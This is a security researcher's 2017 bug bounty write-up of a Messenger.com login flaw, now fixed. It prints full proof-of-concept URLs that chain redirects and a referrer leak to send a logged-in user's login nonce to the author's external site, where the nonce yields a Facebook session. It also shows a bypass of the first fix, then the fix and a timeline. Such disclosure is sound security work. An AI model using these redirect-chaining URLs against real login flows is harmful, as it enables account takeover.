Stephen Sclafani

Stealing Messenger.com Login Nonces

March 21st, 2017

The messenger.com website provides a nonce based login flow to allow a user who is already logged into their Facebook account to login to the site without having to re-enter their password. It was possible to create a URL that when loaded by a user who was logged into their Facebook account would redirect a nonce for their account to another site. The nonce could then be used to create a messenger.com session for the user. Since messenger.com session cookies are interchangeable with facebook.com this gave full access to the user’s Facebook account.

Overview of the Messenger.com Login Flow

When a user visits messenger.com the Facebook endpoint https://www.facebook.com/login/messenger_dot_com_iframe/ is loaded in an iframe:

https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Fwww.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY

The identifier and initial_request_id parameters are generated by messenger.com and are tied to the user’s datr cookie.

If the user is logged into a Facebook account the endpoint redirects to https://www.messenger.com/login/fb_iframe_target/ with a secret nonce:

https://www.messenger.com/login/fb_iframe_target/?userid=100011424732901&name=Tom+Jones&secret=hFTzdP2Q&persistent=1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY

The user is then prompted if they want to continue as this Facebook user.

Messenger.com Login

If they choose to continue a POST request is made to the https://www.messenger.com/login/nonce/ endpoint with the nonce:

The same datr cookie that was used to generate the identifier and initial_request_id parameters is required in this POST request. The endpoint uses the nonce to create a session and sets cookies on .messenger.com:

Stealing Nonces

When looking for flaws in a nonce based login flow where the redirect URL is controlled by a parameter the first thing I like to test is how strict it is on modifications to the redirect URL. In the case of the Messenger website the Facebook endpoint https://www.facebook.com/login/messenger_dot_com_iframe/ contained a redirect_uri parameter which controlled where the nonce was redirected to. The endpoint did not allow the path of the redirect URL (/login/fb_iframe_target/) to be changed or query string parameters to be added; however, a # could be appended to the path. Additionally, any messenger.com subdomain could be used.

When a nonce is delivered via a query string parameter in the redirect URL (https://example.com/login/?secrect=nonce) rather than as a hash fragment (https://example.com/login/#secrect=nonce), it’s not required to actually redirect the nonce offsite in order to steal it. If you can get a URL containing the nonce set as the referrer before redirecting you can extract it from the request.

The Messenger website supported #!/path javascript redirects. When a #!/path was appended to a Messenger URL javascript on the page would redirect to that path after the page was loaded. Since the https://www.facebook.com/login/messenger_dot_com_iframe/ endpoint allowed a hash to be appended to the redirect URL it was possible to append a #!/path which would be redirected to after https://www.messenger.com/login/fb_iframe_target/ was loaded.

In order to steal a nonce a way to redirect offsite was needed. I knew that the Messenger website used the /l.php endpoint for redirecting to links. Normally this endpoint uses javascript to remove the referrer before redirecting; however, when redirecting to www.facebook.com links just a 302 redirect is used.

Through some Google searches I was able to find the Facebook endpoint https://www.facebook.com/dialog/share_open_graph. Given a Facebook app ID and the redirect URL set for the app, the endpoint would automatically redirect to the URL. By creating a Facebook app and setting a redirect URL it was possible to use the endpoint to redirect to any URL.

Combining these issues resulted in the URL:

https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Fwww.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY%23!%2Fl.php%3Fu%3Dhttps%253A%252F%252Fwww.facebook.com%252Fdialog%252Fshare_open_graph%253Fapp_id%253D758283087524346%2526redirect_uri%253Dhttps%253A%252F%252Fstephensclafani.com%252Fpoc.php&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY

Unfortunately this didn’t work how I expected. The referrer my PoC was receiving was https://www.messenger.com/l.php. This was because every www.messenger.com page includes the meta tag:

This meta tag prevents the referrer from leaking data such as the nonce by setting the referrer to the origin (https://www.messenger.com) in cross-origin requests. This would have been a game-over if not for the https://www.facebook.com/login/messenger_dot_com_iframe/ endpoint allowing any messenger.com subdomain to be used in the redirect URL. Through a search on crt.sh I was able to find the subdomain fb.beta.messenger.com. This subdomain also included the meta referrer tag in its pages; however, it did not use the origin-when-crossorigin policy.

With this subdomain the final PoC URL looked like this:

https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Ffb.beta.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY%23!%2Fl.php%3Fu%3Dhttps%253A%252F%252Fwww.facebook.com%252Fdialog%252Fshare_open_graph%253Fapp_id%253D758283087524346%2526redirect_uri%253Dhttps%253A%252F%252Fstephensclafani.com%252Fpoc.php&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY

When loaded by a user who was logged into their Facebook account:

1. The https://www.facebook.com/login/messenger_dot_com_iframe/ endpoint redirected to https://fb.beta.messenger.com/login/fb_iframe_target/ with a nonce for the user’s account:

https://fb.beta.messenger.com/login/fb_iframe_target/?userid=100011424732901&name=Tom+Jones&secret=tBTyFt4m&persistent=1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY#!/l.php?u=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Fshare_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2Fstephensclafani.com%2Fpoc.php

Because the fb.beta.messenger.com subdomain did not use the origin-when-crossorigin referrer policy in its pages this URL got set as the referrer for the next requests.

2. The #!/l.php appended to the redirect URL caused javascript on the page to redirect the user’s browser to the https://fb.beta.messenger.com/l.php endpoint:

https://fb.beta.messenger.com/l.php?u=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Fshare_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2Fstephensclafani.com%2Fpoc.php

Because the link is to a www.facebook.com URL a 302 redirect was used to redirect the user to https://www.facebook.com/dialog/share_open_graph?app_id=758283087524346&redirect_uri=https://stephensclafani.com/poc.php, preserving the referrer containing the nonce.

3. The https://www.facebook.com/dialog/share_open_graph endpoint automatically redirected the user to the URL in the redirect_uri parameter:

https://stephensclafani.com/poc.php

4. The PoC script I created extracted the nonce from the referrer and used it in a POST request to the https://www.messenger.com/login/nonce/ endpoint to create a messenger.com session and displayed the cookies:

The cookies could be used to access the user’s account on facebook.com as well as on messenger.com:

Note: The identifier and initial_request_id parameters included in the PoC URL were generated from a datr cookie that was also used by the PoC script in the POST request to https://www.messenger.com/login/nonce/ to create the messenger.com session with the stolen nonce. The parameters didn’t expire and could be reused to create sessions from multiple nonces.

Note: This attack worked even if a user was already logged into messenger.com.

The Fix

Facebook’s initial fix was to block the ability to add a hash to the redirect URL; however, this fix could be bypassed with the following URL:

https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Ffb.beta.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY#!/l.php?u=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Fshare_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2Fstephensclafani.com%2Fpoc.php

In this URL the #!/l.php is appended to the https://www.facebook.com/login/messenger_dot_com_iframe/ endpoint URL. This worked because modern browsers preserve an appended hash through a 302 redirect, even across sites. A hash appended to https://www.facebook.com/login/messenger_dot_com_iframe/ gets appended to https://fb.beta.messenger.com/login/fb_iframe_target/ after the redirect.

To prevent this a site can append its own hash to its redirects:

Hash Redirect

This hash will replace any hash that’s been appended to the parent URL.

Timeline

I reported this issue to Facebook on Sunday, February 26. When the issue was confirmed by Facebook on Monday morning an initial fix was put in place in less than two hours. Facebook awarded me with a bounty of $15,000 as part of their Bug Bounty Program.

Sun, Feb 26, 2017 at 5:12 AM   – Report sent
Mon, Feb 27, 2017 at 8:01 AM   – Confirmation of issue by Facebook
Mon, Feb 27, 2017 at 9:35 AM   – Temporary fix pushed by Facebook
Mon, Feb 27, 2017 at 10:09 AM  – Notification by me that fix could be bypassed
Mon, Feb 27, 2017 at 11:56 AM   – Confirmation by Facebook that they are working on the fix
Mon, Feb 27, 2017 at 4:29 PM   – Permanent fix pushed by Facebook
Mon, Feb 27, 2017 at 9:39 PM   – Verification of fix by me
Fri, Mar 3, 2017 at 4:36 PM   – $15,000 bounty awarded by Facebook